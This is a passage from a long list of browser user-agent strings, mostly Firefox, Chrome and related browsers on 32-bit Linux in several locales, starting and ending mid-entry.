(hardy) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.14) Gecko/2009082505 Red Hat/3.0.14-1.el5_4 Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.18) Gecko/2010020400 SUSE/3.0.18-0.1.1 Firefox/3.0.18 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.18) Gecko/2010021501 Firefox/3.0.18 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009041500 SUSE/3.0.9-2.2 Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.04 (hardy) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1) Gecko/20090624 Ubuntu/8.04 (hardy) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.1) Gecko/20090714 SUSE/3.5.1-1.1 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.1) Gecko/20090722 Gentoo Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091201 SUSE/3.5.6-1.1.1 Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 GTB7.0 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100914 SUSE/3.6.10-0.3.1 Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.10 (karmic) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.12) Gecko/20101027 Fedora/3.6.12-1.fc13 Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; en-CA; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060214 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060309 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.13) Gecko/2009080316 Ubuntu/8.04 (hardy) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.18) Gecko/2010021501 Ubuntu/9.04 (jaunty) Firefox/3.0.18 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.19) Gecko/2010040118 Ubuntu/8.10 (intrepid) Firefox/3.0.19 GTB7.1 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.15) Gecko/20101027 Fedora/3.5.15-1.fc12 Firefox/3.5.15 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 GTB6 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.11) Gecko/20101013 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 GTB7.1 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.1 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.205.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.0 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.2 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.8 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.277.0 Safari/532.8 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.2 Safari/533.4 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.416.0 Safari/534.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.1 SUSE/6.0.428.0 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.551.0 Safari/534.10 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.579.0 Safari/534.12 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.44 Safari/534.13 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/9.10 Chromium/9.0.592.0 Chrome/9.0.592.0 Safari/534.13 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.612.1 Safari/534.15 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.04 Chromium/10.0.612.3 Chrome/10.0.612.3 Safari/534.15 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.611.0 Chrome/10.0.611.0 Safari/534.15 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.613.0 Chrome/10.0.613.0 Safari/534.15 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.0 Chrome/10.0.648.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.133 Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.457.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.24 Safari/534.7 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060501 Epiphany/2.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060626 (Debian-1.8.0.5-3) Epiphany/2.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060928 (Debian-1.8.0.7-1) Epiphany/2.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061022 Iceweasel/1.5.0.7-g2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061031 Firefox/1.5.0.7 Flock/0.7.7 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061029 SeaMonkey/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Iceweasel/2.0 (Debian-2.0+dfsg-1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 Firefox/3.07 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042513 Linux Mint/5 (Elyssa) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/6 (Felicia) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/7 (Gloria) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042708 Fedora/3.0.10-1.fc10 Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042812 Gentoo Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060308 Linux Mint/7 (Gloria) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060310 Linux Mint/6 (Felicia) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070610 Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070812 Linux Mint/5 (Elyssa) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070818 Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 FirePHP/0.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090905 Fedora/3.0.14-1.fc10 Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009091010 Firefox/3.0.14 (Debian-3.0.14-1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/20090916 Ubuntu/9.04 (jaunty) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.17) Gecko/2010010604 Ubuntu/9.04 (jaunty) Firefox/3.0.17 FirePHP/0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010091807 Firefox/3.0.6 (Debian-3.0.6-3) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1pre) Gecko/2008062222 Firefox/3.0.1pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008091816 Red Hat/3.0.2-3.el5 Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092000 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/1.4.0 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092418 CentOS/3.0.2-3.el5.centos Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092809 Gentoo Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008110715 ASPLinux/3.0.2-3.0.120asp Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3pre) Gecko/2008090713 Firefox/3.0.3pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.10 (intrepid) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4pre) Gecko/2008101311 Firefox/3.0.4pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121622 Linux Mint/6 (Felicia) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121718 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121914 Ubuntu/8.04 (hardy) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2009011301 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc10 Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc9 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020518 Ubuntu/9.04 (jaunty) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020616 Gentoo Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.04 (hardy) Firefox/3.0.6 FirePHP/0.2.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009022111 Gentoo Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009022714 Ubuntu/9.04 (jaunty) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009032018 Firefox/3.0.4 (Debian-3.0.6-1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009041408 Red Hat/3.0.9-1.el5 Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009042113 Linux Mint/6 (Felicia) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1) Gecko/20090701 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Slackware/13.0 Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2pre) Gecko/20090729 Ubuntu/9.04 (jaunty) Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090912 Gentoo Firefox/3.5.3 FirePHP/0.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090919 Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.4) Gecko/20091028 Ubuntu/9.10 (karmic) Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.6) Gecko/20100118 Gentoo Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100315 Ubuntu/9.10 (karmic) Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9 GTB7.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b3) Gecko/20090407 Firefox/3.1b3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 FirePHP/0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100115 Ubuntu/10.04 (lucid) Firefox/3.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100128 Gentoo Firefox/3.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.1) Gecko/20100122 firefox/3.6.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.04 (jaunty) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100312 Ubuntu/9.04 (jaunty) Firefox/3.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100404 Ubuntu/10.04 (lucid) Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.4) Gecko/20100625 Gentoo Firefox/3.6.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.7) Gecko/20100726 CentOS/3.6-3.el5.centos Firefox/3.6.7 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100727 Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060814 Firefox/3.0a1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b2) Gecko/2007121016 Firefox/3.0b2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3) Gecko/2008020513 Firefox/3.0b3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008010415 Firefox/3.0b -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008020507 Firefox/3.0b3pre -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4) Gecko/2008031317 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008021712 Firefox/3.0b4pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008021714 Firefox/3.0b4pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9pre) Gecko/2008040318 Firefox/3.0pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-us; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.4) Gecko/2008111317 Linux Mint/5 (Elyssa) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.10) Gecko/2009042513 Linux Mint/5 